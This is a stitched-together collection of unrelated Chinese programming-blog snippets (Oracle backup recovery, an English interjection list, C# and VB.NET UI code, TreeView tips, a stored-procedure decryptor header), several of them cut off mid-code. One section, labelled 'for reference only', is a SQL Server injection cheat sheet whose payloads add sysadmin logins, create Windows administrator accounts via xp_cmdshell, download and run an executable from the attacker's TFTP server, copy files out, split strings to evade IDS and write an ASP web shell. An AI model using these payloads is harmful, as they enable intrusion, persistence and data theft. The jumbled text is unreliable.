如果在备份过程中发生故障，导致备份突然中断，那么在下一次启动数据库时备份表空间的数据文件将会仍然处于备份模式下，因此ORACLE会要求进行数据库恢复。

1、  利用ALTER  DATABASE  END  BACKUP语句退出备份模式

SQL>STARTUP  MOUNT

SQL>SELECT * FROM V$BACKUP WHERE STATUS=’ACTIVE’

(查询哪些数据文件处于备份模式)

SQL>ALTER  DATABASE  END BACKUP;

SQL>ALTER  DATABASE  OPEN;

2、  利用RECOVER命令退出备份模式

   SQL>STARTUP  MOUNT

   SQL>RECOVER  DATABASE

   SQL>ALTER  DATABASE  OPEN;

四、             控制文件备份为二进制文件

SQL>ALTER  DATABASE  BACKUP  CONTROLFILE  TO

‘E:\backup\cfile.bak’  REUSE;

五、             控制文件备份到跟踪文件中

SQL>ALTER  DATABASE  BACKUP  CONTROLFILE  TO  TRACE;

/* 说明:本安装方法,是以实际工作为例,测试通过！

*/

一).创建部署项目

Absolutely！—— 绝对正确！
Adorable! —— 可爱极了！
Amazing! —— 太神了！
Anytime! —— 随时吩咐！
Almost! —— 差不多了！
Awful! —— 好可怕呀！

After you. —— 您先。
About when? —— 大约何时？
All set? —— 一切妥当？
Allow me! —— 让我来！

Baloney! —— 胡扯！荒谬！
Behave! —— 放尊重点！
Bingo! —— 中了！
Boring! —— 真无聊！
Bravo! —— 太棒了！
Bullshit! —— 胡说！

Cheers! —— 干杯！
Congratulations! —— 恭喜啊！
Correct! —— 对的！
Crazy! —— 疯了！

Damn! —— 该死的！
Deal! —— 一言为定！
Definitely! —— 当然！
Disgusting! —— 好恶心呀！
Drat! —— 讨厌！

Encore! —— 再来一次！
Exactly! —— 完全正确！

Fantastic! —— 妙极了！
Farewell! —— 再见啦！
Fifty-fifty! —— 对半分！
Foul! —— 犯规了！
Fresh! —— 好有型！帅！

Gesundheit! —— 保重！(特别用于对打喷嚏的人说)
Gone! —— 跑了！
Gorgeous! —— 美极了！
Great! —— 太好了！

Hey! —— 嘿！
Hopefully! —— 希望如此！有希望的话...
Horrible! —— 好可怕！
Hot! —— 好辣！
Hurray!/Hurrah! —— 万岁！
Hush! —— (肃静)嘘！
Hurry! —— 快点！

Incredible! —— 不可思议！
Indeed? —— 真的？ Jesus! —— 天啊！

Liar! —— 你撒谎！
Listen! —— 听着！ Lousy! —— 差劲！

Marverllous! —— 棒极了！
Now! —— 现在就做！

Objection! —— 我抗议！
Outrageous! —— 不得了！
Pardon! —— 请再说一遍！
Perfect! —— 很完美！
Please! —— 拜托了！
Present! —— 到(有)！(用于点名时)
Probably! —— 很可能！

Rats! —— 差劲！
Really? —— 真的？
Relax! —— 放轻松！
Right! —— 对的！

Satisfied? —— 满意吗？
Shhh... —— 嘘...
So so! —— 马马虎虎！
Someday! —— 改天吧！
Speaking! —— (打电话时)我就是！
Still? —— 仍是这样？
Stingy! —— 小气鬼！
Stop! —— 停！
Superb! —— 棒极了！
Sure! —— 当然！
Surprise! —— 给你一个惊喜！

Terrible! —— 好可怕！
Thirsty? —— 渴吗！
Toast! —— 干杯！
Try! —— 去试一下！

Unbelievable! —— 难以置信！
Understand? —— 明不明白？
Unisex? —— 男女通用的？

Wait! —— 等一等！
Well? —— 怎么样？
Willingly—— 很乐意！
Wow! —— 哇！

Yum... —— 恩...(好吃！)

Imagine! —— 想想看！
Impossible! —— 不可能吧！
Impressive! —— 很感人，永生难忘！

http://www.steepvalley.net/dev/projects/xpcc/xpcc.aspx

user1/1/upload/20058191850.rar

只供参考学习:

[获取全部数据库名]
select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库


[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
select top 1 name from 数据库名.dbo.sysobjects where xtype=’u’ and status>0 and name not in(’table’)


[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
select top 1 数据库名.dbo.col_name(object_id(’要查询的数据表名’),字段列如:1) [ where 条件]


通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]


news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加数据库用户用户test,密码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密码，则用这句（将test的密码改为123456）
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //将test加到sysadmin组,这个组的成员可执行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell ’net user test test /add’;-- //添加系统用户test,密码为test
news.asp?id=2;exec master.dbo.xp_cmdshell ’net localgroup administrators test /add’;-- //将系统用户test提升为管理员


这样，你在他的数据库和系统内都留下了test管理员账号了


下面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为TFTP服务器，将69端口打开]


id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP get file.exe’;--


然后运行这个文件：
id=2; exec master.dbo.xp_cmdshell ’file.exe’;--


下载服务器的文件file2.doc到本地TFTP服务器[文件必须存在]:


id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP Put file2.doc’;--


绕过IDS的检测[使用变量]
declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ’dir c:\’
declare @a sysname set @a=’xp’+’_cm’+’dshell’ exec @a ’dir c:\’


新加的:

建一个表。只有一个字段，类型为image,将asp内容写入。导出数据库为文件
backup database dbname to disk=’d:\web\db.asp’;


报错得到系统操作系统和数据库系统版本号
id=2 and 1<>(select @@VERSION);

最近青岛微软开发者俱乐部 www.qddn.net上有位网友希望得到能改变颜色的进度条，正好我也在做一套.net的通用组件，就把它写出来了，因为比较简单，也没有多少技术含量，就把它帖出来，希望给别的朋友一点帮助

这个进度条控件，除了具有普通进度条的功能以外，还具有如下功能：

设置进度条的背景色和前景色

设置进度条的外观方式（3D，single，none）

是否自动显示当前进度比例（比如在进度条的中间显示当前进度58%）

当然，这个功能还可以增加很多，比如背景色和前景色也可以用图片代替，还有其它的功能打算在以后有时间时再添加，这次就写这些了。

代码如下：

using System;

using System.Collections;

using System.ComponentModel;

using System.Drawing;

using System.Drawing.Drawing2D ;

using System.Data;

using System.Windows.Forms;

namespace XiaoPang.Windows

{

     /// <summary>

     /// GProgressBar 的摘要说明。

     /// </summary>

     public class GProgressBar : System.Windows.Forms.UserControl

     {

         /// <summary>

         /// 必需的设计器变量。

         /// </summary>

         private System.ComponentModel.Container components = null;

         public GProgressBar()

         {

              // 该调用是 Windows.Forms 窗体设计器所必需的。

              InitializeComponent();

              base.Height = 23 ;

              this.Resize+=new EventHandler(GProgressBar_Resize);

              this.LocationChanged+=new EventHandler(GProgressBar_Resize);

         }

         private void GProgressBar_Resize(object sender,System.EventArgs e)

         {

              base.Refresh() ;

         }

         private  int mMax =100;

         [Browsable(true), Description("最大值"), Category("XiaoPang")]

         public int Max

         {

              get

              {

                   return mMax ;

              }

              set

              {

                   mMax = value > 0?value:1;

              }

         }

         [Browsable(true), Description("大小"), Category("XiaoPang")]

          public new Size Size

         {

              get

              {

                   return base.Size ;

              }

              set

              {

                   base.Size = value ;

              }

         }

         private  int mMin =0;

         [Browsable(true), Description("最小值"), Category("XiaoPang")]

         public int Min

         {

              get

              {

                   return mMin ;

              }

              set

              {

                   mMin = value ;

              }

         }

         private int mStep = 1 ;

         [Browsable(true), Description("步长"), Category("XiaoPang")]

         public int Step

         {

              get

              {

                   return mStep ;

              }

              set

              {

                   mStep = value ;

              }

         }

         [Browsable(true), Description("背景色"), Category("XiaoPang")]

         public override Color BackColor

         {

              get

              {

                   return base.BackColor ;

              }

              set

              {

                   base.BackColor = value ;

              }

         }

.NET Reflector，它是一个类浏览器和反编译器，可以分析程序集并向您展示它的所有秘密。.NET 框架向全世界引入了可用来分析任何基于 .NET 的代码（无论它是单个类还是完整的程序集）的反射概念。反射还可以用来检索有关特定程序集中包含的各种类、方法和属性的信息。使用 .NET Reflector，您可以浏览程序集的类和方法，可以分析由这些类和方法生成的 Microsoft 中间语言 (MSIL)，并且可以反编译这些类和方法并查看 C# 或 Visual Basic ?.NET 中的等价类和方法。

为了演示 .NET Reflector 的工作方式，我将加载和分析前面已经显示的 NUnitExample 程序集。下图显示了 .NET Reflector 中加载的该程序集。


在 .NET Reflector 内部，有各种可用来进一步分析该程序集的工具。要查看构成某个方法的 MSIL，请单击该方法并从菜单中选择 Disassembler。

除了能够查看 MSIL 以外，您还可以通过选择 Tools 菜单下的 Decompiler 来查看该方法的 C# 形式。通过在 Languages 菜单下更改您的选择，您还可以查看该方法被反编译到 Visual Basic .NET 或 Delphi 以后的形式。以下为 .NET Reflector 生成的代码：

public void HashtableAddTest(){     

    Hashtable hashtable1;    

    hashtable1 = new Hashtable();    

    hashtable1.Add("Key1", "value1");    

    hashtable1.Add("Key2", "value2");    

    Assert.AreEqual("value1", hashtable1["Key1"], "Wrong object returned!");    

    Assert.AreEqual("value2", hashtable1["Key2"], "Wrong object returned!");

} 

public void HashtableAddTest(){    

    Hashtable ht = new Hashtable();                

    ht.Add("Key1", "value1");    

    ht.Add("Key2", "value2");    

    Assert.AreEqual("value1", ht["Key1"],  "Wrong object returned!");    

    Assert.AreEqual("value2", ht["Key2"],  "Wrong object returned!");

} 

1.在查询分析器理启动或停止SQL Agent服务
启动
use master
go
xp_cmdshell 'net start SQLSERVERAGENT'
停止
use master
go
xp_cmdshell 'net stop SQLSERVERAGENT'
将服务的启动从手工方式改为自动启动方式
exec xp_cmdshell 'scm -Action 7 -Service mssqlserver -SvcStartType 2'

直接用命令行执行引号内的内容也可以。

2、启动不正常原因和处理
表面上看sql server agent 服务启动正常，但在查看作业的属性与作业历史记录时都出现如下错误：
错误14258：当SQLServerAgent正在启动时，无法执行此操作。请稍后再试。

可能原因：
  选择了"使用 Windows NT 纤程"，具体原因不明。
   解决方法：
    企业管理器--右键SQL实例--属性--处理器--取消选择"使用 Windows NT 纤程"
    然后重新启动sql服务

  修改了系统密码
   解决方法：
   a. 我的电脑--控制面板--管理工具--服务--右键 MSSQLSERVER--属性--登陆--登陆身份--选择"本地系统帐户"
    或:
   b.我的电脑--控制面板--管理工具--服务--右键 MSSQLSERVER--属性--登陆--登陆身份--选择"此帐户"--选择 administrator ,密码和确认密码中输入你的administrator密码.

   两者的区别:
选择第一种方式,以后修改了administrator密码,不用再调整(但要求登陆操作系统的是系统管理员)

数据库非法DOWN机出现故障。
   解决方法：
     用安装光盘重新安装，然后选择‘高级选项’—‘重建注册表’，然后一路下去……（这个没有试过）
 

http://custom.programming-in.net/

在自己的程序中拥有OFFICEXP风格的菜单，相信是不少软件作者的愿望，但如何来实现它呢？在下在一款软件制作过程中参考了网友的代码，对其中的一些地方做了修改，并修正了其中的一些bug，现在把它贴出来，希望能给那些尚在迷茫之中的作者们指点一下迷津。
一、 开始
所谓XP风格的菜单，就是在菜单的左侧有一个浅灰色的竖条，里面放置了对菜单条进行形象化显示的图标，以前大家在VB6中也做过带图标的菜单，但那要用到API，很是繁锁，但在VB.NET中，这一切都变得非常容易，我们需要用到菜单的drawitem事件和measureitem事件，下面我们开始一步一步来实现它。当然我不会说得非常详细，但只要你有VB.NET基础，看懂是应该没有问题的。
二、 具体步骤
1、 新建一个工程，名字可以任意取
2、 在form1窗体设计视图中，从工具栏中拖出一个mainmenu控件，其name属性为file并分别在其下建立三个子菜单，name属性分别定为
name属性         text属性       ownerdraw属性
file_open         open,open         true
file_save          save,save         true
file_exit           exit,exit          true
     说明：
1) text属性为用逗号分隔的两个部分，前一部分为当程序运行时显示的菜单项，后一部分为在资源文件中存放的图标文件名，之所以要用这种格式，是因为在后面我们要用字符串操作函数split将这两部分开。
2) 注意要将所有子菜单的ownerdraw属性设为true，否则我们将不能对菜单项进行重画。主菜单项不要设。
3、 在窗体上再添加一个命令按钮button1(我们要用它的单击事件来建立一个资源文件)，在button1的click事件中添加如下代码：
‘定义资源文件
Dim rw As New Resources.ResourceWriter("d:\yushui\小程序\LAN messenger\icons.resources")
        Dim iconopen As Icon = New Icon("d:\yushui\小程序\iconmenusample\resource\open.ico")
        Dim iconsave As Icon = New Icon("d:\yushui\小程序\iconmenusample\resource\save.ico")
        Dim iconclose As Icon = New Icon("d:\yushui\小程序\iconmenusample\resource\exit.ico")
        rw.AddResource("iconopen", iconopen)  ‘将图标放到资源文件中，下同
        rw.AddResource("iconsave", iconsave)
        rw.AddResource("iconclose", iconclose)
     rw.Close()
如果出现编译错误，那是因为你没有在代码窗口的顶部加上对命名空间的引用
Imports System
Imports System.DirectoryServices
Imports System.Runtime.InteropServices
Imports System.Drawing
Imports System.Data
Imports System.Windows.Forms
我将所有需要的命名空间引用都在这里写上了，省得以后还要写：)
4、 定义菜单的measureitem事件
在这里我们会对菜单进行计算，定义其高度和宽度
‘定义菜单的measureitem事件，把它应用于三个子菜单项中
Private Sub MenuItem_MeasureItem(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MeasureItemEventArgs) Handles _
file_open.MeasureItem, file_save.MeasureItem,file_exit.MeasureItem
    Dim thismenuitem As MenuItem = sender
        Dim thismenuitem_strings As String() = thismenuitem.Text.Split(",")
       ‘设置菜单的宽度
        Dim textsize As SizeF = e.Graphics.MeasureString _
        (thismenuitem_strings(0).Replace("&", ""), SystemInformation.MenuFont)
        e.ItemWidth = textsize.Width + 30
        If thismenuitem.Text = "-" Then 
           ‘如果菜单项为分隔符，则其高度为3象素
            e.ItemHeight = 3
        Else
‘普通菜单项的高度为22象素
            e.ItemHeight = 22
        End If
    End Sub
5、 定义菜单的drawitem事件
drawitem事件是对菜单项进行重画，包括对选中项的高亮显示，图标栏的背景，图标的阴影等
    Private Sub MenuItem_DrawItem(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DrawItemEventArgs) Handles _
    file_open.DrawItem, file_save.DrawItem, file_exit.DrawItem
          On Error Resume Next
        Dim thismenuitem As MenuItem = sender
        Dim thismenuitem_brush As Brush
        Dim thismenuitem_strings As String() = thismenuitem.Text.Split(",")
        Dim thismenuitem_icon As Icon
        Dim en As IdictionaryEnumerator
     ‘读取资源文件
        Dim rr As New Resources.ResourceReader("d:\yushui\小程序\LAN Messenger\icons.resources")
         Dim thismenuitem_rect As RectangleF = New RectangleF(30, e.Bounds.Top + 5, _
        e.Bounds.Width - 30, e.Bounds.Height)
        If ((e.State And DrawItemState.Selected) = DrawItemState.Selected) And _
        ((e.State And DrawItemState.Disabled) <> DrawItemState.Disabled) Then
            '如果菜单处于被选中状态且disable属性为enable
            thismenuitem_brush = New SolidBrush(SystemColors.InactiveCaptionText)
            e.Graphics.FillRectangle(thismenuitem_brush, e.Bounds)
            thismenuitem_brush.Dispose()
            e.Graphics.DrawRectangle(SystemPens.Highlight, e.Bounds.X, _
            e.Bounds.Y, e.Bounds.Width - 1, e.Bounds.Height - 1)
            'draw the icon with dropshadow
            en = rr.GetEnumerator
            While en.MoveNext
                If en.Key = thismenuitem_strings(1) Then
                    thismenuitem_icon = en.Value
                End If
            End While
            Dim img As Image = thismenuitem_icon.ToBitmap
            ControlPaint.DrawImageDisabled(e.Graphics, img, e.Bounds.Left + 4, _
            e.Bounds.Top + 4, SystemColors.InactiveCaptionText)
            e.Graphics.DrawIcon(thismenuitem_icon, e.Bounds.Left + 2, e.Bounds.Top + 2)
        Else
            'draw the background
            e.Graphics.FillRectangle(SystemBrushes.Control, e.Bounds.Left, _
            e.Bounds.Top, 22, e.Bounds.Height)
            e.Graphics.FillRectangle(SystemBrushes.Menu, _
            e.Bounds.Left + 22, e.Bounds.Top, e.Bounds.Width, e.Bounds.Height)
            'if this is a separator,draw it and bail out
            If thismenuitem.Text = "-" Then
                e.Graphics.DrawLine(SystemPens.ControlDark, 30, e.Bounds.Top + 1, _
                e.Bounds.Right, e.Bounds.Top + 1)
                Exit Sub
            End If
            'draw the icon
            en = rr.GetEnumerator
‘从资源文件中取出图标
            While en.MoveNext
                If en.Key = thismenuitem_strings(1) Then
                    thismenuitem_icon = en.Value
                End If
            End While
            If ((e.State And DrawItemState.Disabled) <> DrawItemState.Disabled) Then
                e.Graphics.DrawIcon(thismenuitem_icon, e.Bounds.Left + 3, e.Bounds.Top + 3)
            Else
                Dim img As Image = thismenuitem_icon.ToBitmap
                ControlPaint.DrawImageDisabled(e.Graphics, img, _
                e.Bounds.Left + 2, e.Bounds.Top + 2, SystemColors.InactiveCaptionText)
            End If
        End If
        'draw the text
        Dim sfmenuitem As System.Drawing.StringFormat = New StringFormat(StringFormatFlags.DisplayFormatControl)
        If (e.State And DrawItemState.Disabled) = DrawItemState.Disabled Then
            thismenuitem_brush = New SolidBrush(SystemColors.GrayText)
            e.Graphics.DrawString(thismenuitem_strings(0), SystemInformation.MenuFont, _
            thismenuitem_brush, thismenuitem_rect, sfmenuitem)
        Else
            e.Graphics.DrawString(thismenuitem_strings(0), SystemInformation.MenuFont, _
            SystemBrushes.ControlText, thismenuitem_rect, sfmenuitem)
        End If
    End Sub
至此，一个具有officeXP风格的菜单就做成了，运行一下吧，看看效果怎么样

101 Samples for Visual Studio 2005

101 Samples, in both Visual Basic and C#, featuring many of the new features available with Visual Studio 2005 and the .NET Framework 2.0. For more samples using Visual Studio 2003 .NET, see this download.

Download all 101 Samples: C# Version   |   VB Version

These samples have been written and tested with Beta 2 of Visual Studio 2005

Base Class Libraries

The Base Class Library samples show how to use the classes in the namespaces System.Net, System.RegEx, System.Transaction, System.Console and more. Samples include: Changing ACL (Access Control Lists) on files Console Enhancements including buffer control, simple animations and colors Downloading files using FTP (File Transfer Protocol) Network Programming including PING, UDP, and TCP network statistics Using the new Stopwatch class to measure time Compressing and decompressing files in the GZip format Retrieving Drive Information Using Generic Collections Creating Regular Expressions to parse text Download: C# Version   |   VB Version

Data Access

The Data Access samples show how to use the classes in the System.Data and related namespaces. In addition, how to use the new features of SQL Server 2005. Samples include: Asynchronous Queries Attaching a database with your application Creating and using User Defined Types with SQL Server 2005 DataReader vs. DataSet comparision DataSet and DataTable Enhancements Performing Batch Updates and Data Paging Performing Bulk Updates Reading and Writing Images from a Database Using Factory Classes Using Managed Stored Procedures and User Defined Functions with SQL Server 2005 Using Multiple Active Result Sets with SQL Server 2005 Using Notifications with SQL Server 2005 Using the XML data type with SQL Server 2005 XPath and XSLT Transformations Enhancements Download: C# Version   |   VB Version

Web Development

The Web Development samples show how to use some of the new features of ASP.NET 2.0. Samples include: Using SQLCacheDependency for caching DataBinding using the ObjectDataSource, SqlDataSource, and XmlDataSource objects Create a Master/Details view using the DataGridView and DetailsView controls Basic Master Pages, Nested Master Pages, and Browser-specific Master Pages Using the new membership controls including the LoginStatus, LoginName, LoginView, CreateUserWizard controls Using the Menu and SiteMapPath controls Using Profiles to store user properties Using the Membership and Roles API for custom roles Using the TreeView control dynamically and responding to TreeView events Creating a custom portal using Web Parts Download: C# Version   |   VB Version

Windows Forms

The Windows Forms samples show how to use some of the new functionality available to developers building desktop applications. Samples include: Running Asynchronous Tasks Storing Custom Client Settings Creating Master/Detail Forms Playing, Looping, and asynchronously using Sounds Using BindingNavigator for static and dynamic data Using BindingSource for static and dynamic data including objects Extending ClickOnce to programmatically check for updates Customizing the DataGridView control with different column control types Using LayoutPanels Using the MaskedTextBox control for built-in data types and custom data types Controlling a simple rich texteditor using the Menus, StatusStrips and ToolStrips controls Using My for application, computer, settings information and more. Note: This sample is only available for Visual Basic Using the SplitContainer control WebBrowser control basics and using the WebBrowserControl HTMLDocumentModel for Form-to-browser two-way communication. Download: C# Version   |   VB Version

Coming Soon

存储过程、存储函数的加密：WITH ENCRYPTION
<!--[if !supportLineBreakNewLine]-->
<!--[endif]-->

CREATE procedure dbo.sp_XML_main

@table_name nvarchar(260)='',

@dirname nvarchar(20)=''

WITH ENCRYPTION

as

begin

....................................................

end

go
 

存储过程、存储函数的解密(以下是一位绝世高人编写的代码)

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[sp_decrypt]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)

drop procedure [dbo].[sp_decrypt]

GO

/*--破解函数,过程,触发器,视图.仅限于SQLSERVER2000

--作者:J9988--*/

/*--调用示例

    --解密指定存储过程

    exec sp_decrypt 'AppSP_test'

    --对所有的存储过程解密

    declare tb cursor for

    select name from sysobjects where xtype='P' and status>0 and name<>'sp_decrypt'

    declare @name sysname

    open tb

    fetch next from tb into @name

    while @@fetch_status=0

    begin

        print '/*-------存储过程 ['+@name+'] -----------*/'

        exec sp_decrypt @name

        fetch next from tb into @name

    end

    close tb

    deallocate tb

--*/

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[SP_DECRYPT]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)

    drop procedure [dbo].[SP_DECRYPT]

GO

我最近做了一个程序。其中用到了treeview。在程序中，我在框架中使用了treeview。并且对treeview进行了节点的增加、删除、修改、遍历等操作。 在使用过程中，确实遇到了不少的问题。现在我把程序小结一下，希望和大家一起讨论。有什么不对的地方希望和高手们一起交流一下。也希望能对刚刚使用treeview的网友有一点帮助。
1．使用初步
(1)下载地址 http://msdn.microsoft.com/downloads/samples/internet/default.asp?url=/Downloads/samples/Internet/ASP_DOT_NET_ServerControls/WebControls/default.asp
(2)不显示树型的问题 首先：下载包分自动安装和手动安装两种包。 要下载大小约650K 的自动安装包。 其次：TreeView要求客户端浏览器版本为IE5.5及以上，最好要求客户端升级为IE6.0
(3)关于闪烁 将AutoPostBack属性设置为真，SelectedIndexChange才能被执行。不过这样的话刷新的很厉害。不要刷新的话，将AutoPostBack属性设置为FALSE.
(4)常用的几个属性和方法 ～Index 获取树节点在树节点集合中的位置。 ～Nodes 获取分配给树视图控件的树节点集合。 ～Parent 获取或设置控件的父容器。 ～SelectedNode 获取或设置当前在树视图控件中选定的树节点。 ～ExpandAll 展开所有树节点。 ～Checked 获取或设置一个值，用以指示树节点是否处于选中状态。 ～Text 获取或设置在树节点标签中显示的文本。 ～Expand 展开树节点。 ～Clear 清空树 ～Remove 从树视图控件中移除当前树节点。
(5)常用的几个操作：增加、删除、修改、剪切
@增加节点：
Dim tmpNd3 As New Microsoft.Web.UI.WebControls.TreeNode()
Dim NdSel As New Microsoft.Web.UI.WebControls.TreeNode()
'NdSel 为当前选定的节点,新节点将作为它的子节点
NdSel = Treepaybasic.GetNodeFromIndex(Treepaybasic.SelectedNodeIndex)
tmpNd3.Text = "新增节点"
'在树中添加这个新节点
NdSel.Nodes.Add(tmpNd3)
@删除节点：
Dim tmpNd3 As New Microsoft.Web.UI.WebControls.TreeNode()
Dim NdSel As New Microsoft.Web.UI.WebControls.TreeNode()
'NdSel 为当前选定的要删除节点,tmpNd3为它的父节点
NdSel = Treepaybasic.GetNodeFromIndex(Treepaybasic.SelectedNodeIndex)
If (Treepaybasic.SelectedNodeIndex <> "0")
Then tmpNd3 = NdSel.Parent tmpNd3.Nodes.Remove(NdSel)
Else Treepaybasic.Nodes.Clear() End If
@修改节点：
Dim NdSel As New Microsoft.Web.UI.WebControls.TreeNode()
NdSel = Treepaybasic.GetNodeFromIndex(Treepaybasic.SelectedNodeIndex)
NdSel.Text = "aaa"
@剪切和粘贴
剪切：
Dim tmpNd3 As New Microsoft.Web.UI.WebControls.TreeNode()
Dim NdSel As New Microsoft.Web.UI.WebControls.TreeNode()
'NdSel 为当前选定的要删除节点,tmpNd3为它的父节点
NdSel = Treepaybasic.GetNodeFromIndex(Treepaybasic.SelectedNodeIndex)
'将剪切下来的节点存入session
Session("node") = NdSel
If (Treepaybasic.SelectedNodeIndex <> "0")
Then tmpNd3 = NdSel.Parent tmpNd3.Nodes.Remove(NdSel)
End If
粘贴：
Dim tmpNd3 As New Microsoft.Web.UI.WebControls.TreeNode()
Dim NdSel As New Microsoft.Web.UI.WebControls.TreeNode()
'NdSel 为当前要粘贴节点的父节点
NdSel = Treepaybasic.GetNodeFromIndex(Treepaybasic.SelectedNodeIndex)
tmpNd3 = Session("node") NdSel.Nodes.Add(tmpNd3)
2.用递归生成树的算法和数据库设计
(1)递归说明 程序调用自身的编程方法称为递归（recursion）。在树的生成以及图的遍历中，递归用的很多。经典的算法求 n! (求n的阶乘)中，用的就是递归方法。递归算法的优点就是简洁，可扩充性好。但是缺点也很明显：低效。因为递归就是程序不断调用自身，对系统的资源消耗比较大。随着节点的增多，执行效率会变的很低。 为了解决树在生成过程中的层树不定的问题，同时也是为了让树的扩展性更好。树的生成使用了递归的方法。生成树的代码一旦写成，可以不改动源代码，生成无限级层次的树。树的结构完全由数据库中表的数据决定。
(2)数据库设计
创建一个数据库，设计树图信息表Treetable，表中属性包含Nodeid、Parentid、Nodename、Address等字段(分别用于表示节点的ID、父节点ID、节点名称、链接地址)，其它属性根据实际用户需求和设计而定。节点名称Nodename将在树型控件的节点上显示，Nodeid字段保存节点的唯一标识号，Parentid表示当前节点的父节点ID号(例如有两个节点是父子关系，孩子节点的Parentid值就是其父节点的Nodeid)，节点号父子相接组成了一个“链表”，表征并记录了树上节点的层次结构。 表具体设计如下：(简化模型，实际使用的要复杂一些) 主键 属性名 类型 长度 可空 属性含义 是 Nodeid int 6 否 节点ID Parentid int 6 否 父节点ID Nodename char 50 否 节点名称 Address char 80 可 链接地址 备注：链接地址 主要是用在： 树在框架中使用的环境。链接可以指向其他框架页中的地址或是带不同的参数。
(3)程序代码
――――――――――――递归函数―――――――――――― '生成树的函数
Private Sub inittree(ByRef Nds As Microsoft.Web.UI.WebControls.TreeNodeCollection, ByVal parentId As Integer)
Dim dv As New DataView()
Dim dvrow As DataRowView
Dim tmpNode As Microsoft.Web.UI.WebControls.TreeNode
'intId为数值型变量，其作用是记录并传递当前记录的ID，做为它子节点的PARENTID值
Dim intId As Integer
dv.Table = mySet.Tables("paybasic")
'parentId传递的是 additem函数中的intId.下面语句的作用是找出当前节点的子孩子集合。
dv.RowFilter = "parentID='" & parentId & "'"
'如果当前节点有孩子，则遍历所有的孩子，并调用递归函数。
For Each dvrow In dv
tmpNode = New Microsoft.Web.UI.WebControls.TreeNode()
'为当前节点的各个属性赋值。
tmpNode.ID = dvrow("nodeID")
tmpNode.Text = dvrow("nodename")
tmpNode.NavigateUrl = dvrow("Address")
intId = dvrow("parentID")
'添加一个节点
Nds.Add(tmpNode)
'调用递归函数
inittree(Nds(Nds.Count - 1).Nodes, intId)
Next
End Sub
――――――――――――――――调用递归函数―――――――――――――――――― CreateReaderDataSet() inittree(Treepaybasic.Nodes, 999)
―――――――――――――――――生成数据集―――――――――――――――――――
'生成数据集的函数
Private Sub CreateReaderDataSet()
'在运行时连接，并设置连接属性
MyConn = New System.Data.OleDb.OleDbConnection("Provider=MSDAORA.1;Data Source=oracle9;User ID=user;Password=****;")
'设置SelectCommand命令
myAdapter.SelectCommand = New System.Data.OleDb.OleDbCommand("select * from treenode", MyConn)
'填充数据集
myAdapter.Fill(mySet, "treenode")
End Sub

转贴：http://community.csdn.net/Expert/topic/4188/4188839.xml?temp=.3458216

作者：袁晓辉

主页：www.farproc.com

Blog：blog.csdn.net/uoyevoli

制作异形窗体或控件的思路一般都是想办法生成一个region，然后设置给指定的窗口或控件。生成region的方法有很多，最常用的就是从一幅图片生成，把该图片中的透明色部分“抠”掉，剩下的部分作为一个region。设置窗口或控件的region可以用SetWindowRgn API，不过.NET framework封装了这个操作，在C#中只要对窗口或控件的Region属性赋值就可以了。下面我就把我在C#中实现异形窗体的核心代码贴出来给大家看看，有什么意见尽管提，别客气哦J

首先，是一个根据Bitmap对象生成Region的方法：

/// <summary>

/// 取得一个图片中非透明色部分的区域。

/// </summary>

/// <param name="Picture">取其区域的图片。</param>

/// <param name="TransparentColor">透明色。</param>

/// <returns>图片中非透明色部分的区域</returns>

private Region BmpRgn(Bitmap Picture, Color TransparentColor)

{

     int nWidth = Picture.Width;

     int nHeight = Picture.Height;

     Region rgn = new Region();

     rgn.MakeEmpty();

     bool isTransRgn;//前一个点是否在透明区

     Color curColor;//当前点的颜色

     Rectangle curRect = new Rectangle();

     curRect.Height = 1;

     int x = 0, y = 0;

     //逐像素扫描这个图片，找出非透明色部分区域并合并起来。

     for(y = 0; y < nHeight; ++y)

     {

         isTransRgn = true;

         for (x = 0; x < nWidth; ++x)

         {

              curColor = Picture.GetPixel(x,y);

              if(curColor == TransparentColor || x == nWidth - 1)//如果遇到透明色或行尾

                   {

                       if(isTransRgn == false)//退出有效区

                       {

                            curRect.Width = x - curRect.X;

                            rgn.Union(curRect);

                       }

                   }

                   else//非透明色

                   {

                       if(isTransRgn == true)//进入有效区

                       {

                            curRect.X = x;

                            curRect.Y = y;

                       }

                   }//if curColor

                   isTransRgn = curColor == TransparentColor;    

              }//for x

         }//for y

         return rgn;

     }

原理很简单，就是对该图片逐行扫描，在每一行中把那些非透明色的矩形（只有一个像素高）合并（union）到一个Region对象中，当扫描完整个图片，得到的也就是我们想要的Region了。这种算法在很多文章里都有介绍的。

有了region，下面就简单了：

this.Region = BmpRgn(new Bitmap("d:\\a.bmp"), Color.FromArgb(0, 0, 0));

上面的代码就是把d:\a.bmp的轮廓作为主窗口的region的，假设该图片的背景黑色（Color.FromArgb(0, 0, 0）)。

其实不光是Form，任何控件都可以用这个方法设置Region，制作出异形控件。

http://blog.csdn.net/net_lover/

面是完整的例子，可以通过命令行编译即可看到效果。

Test.cs

using System;
using System.Drawing;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Reflection;

namespace ColorCursor
{
 /// <summary>
 /// 本例子的作用：
 /// 在.NET中实现彩色光标，动画光标和自定义光标。
 /// </summary>
 public class Form1 : System.Windows.Forms.Form
 {
  [DllImport("user32.dll")]
  public static extern IntPtr LoadCursorFromFile( string fileName );
  
  [DllImport("user32.dll")]
  public static extern IntPtr SetCursor( IntPtr cursorHandle );
  
  [DllImport("user32.dll")]
  public static extern uint DestroyCursor( IntPtr cursorHandle );
  
  
  [STAThread]
  static void Main()
  {
